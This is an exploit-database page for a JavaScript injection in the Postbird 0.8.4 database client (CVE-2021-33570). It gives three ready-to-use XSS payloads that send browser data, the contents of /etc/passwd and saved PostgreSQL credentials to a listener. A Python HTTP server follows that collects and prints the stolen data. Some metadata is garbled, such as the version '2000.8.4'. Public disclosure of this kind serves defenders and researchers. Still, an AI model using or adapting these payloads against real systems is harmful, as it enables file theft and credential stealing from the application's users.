header-logo
Suggest Exploit
vendor:
Postbird
by:
Debshubra Chakraborty
5.4
CVSS
MEDIUM
Javascript Injection
79
CWE
Product Name: Postbird
Affected Version From: 2000.8.4
Affected Version To: 2000.8.4
Patch Exists: NO
Related CWE: CVE-2021-33570
CPE: a:paxa:postbird:0.8.4
Metasploit:
Other Scripts:
Platforms Tested: Linux
2021

Postbird 0.8.4 – Javascript Injection

This exploit allows for XSS, LFI, and PostgreSQL password stealing attacks. It injects malicious JavaScript code into the Postbird application, enabling the attacker to exfiltrate data and steal credentials.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of Postbird.
Source

Exploit-DB raw data:

# Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4 
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?xss='+JSON.stringify(navigator.appVersion), true);xhttp.send();">

LFI Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'file:///etc/passwd', false);xhttp.send();var res = xhttp.response;xhttp.open('GET', 'http://127.0.0.1 :5555/?file='+JSON.stringify(res), true);xhttp.send();">

PostgreSQL Password Stealing Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?credentials='+window.localStorage.savedConnections, true);xhttp.send();">

"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import re

hostName = '0.0.0.0'
serverPort = 5555

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        parse(urllib.parse.unquote(self.requestline))

    def log_message(self, format, *args):
        return   


def parse(data):
    expression = re.search('\S+=', data)
    attr = expression.group()

    if attr[2:len(attr)-1] == 'file':
        data = data[12:len(data)-11]    
        data = data.rsplit('\\n')
        print(f'\n[+] File received from LFI: \n\n')
        for output in data:
            print(output)

    elif attr[2:len(attr)-1] == 'xss':
        data = data[11:len(data)-10]
        print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')
    
    elif attr[2:len(attr)-1] == 'credentials':
        pos = re.search('{"\S+:', data)
        data = data[pos.start():len(data)-11]
        for i in range(2, len(data), 1):
            if data[i] == '"':
                pos = i
                break

        host = data[2:pos]
        data = data[14:]
        data = data.rsplit(',')
        print(f'\n\n[+] The Database credentials received\n\nHost = {host}')
        for output in data:
            print(output)
    
    else:
        print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')


def main():        
    global hostName, serverPort
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("\nServer stopped.")


if __name__ == "__main__":
    main()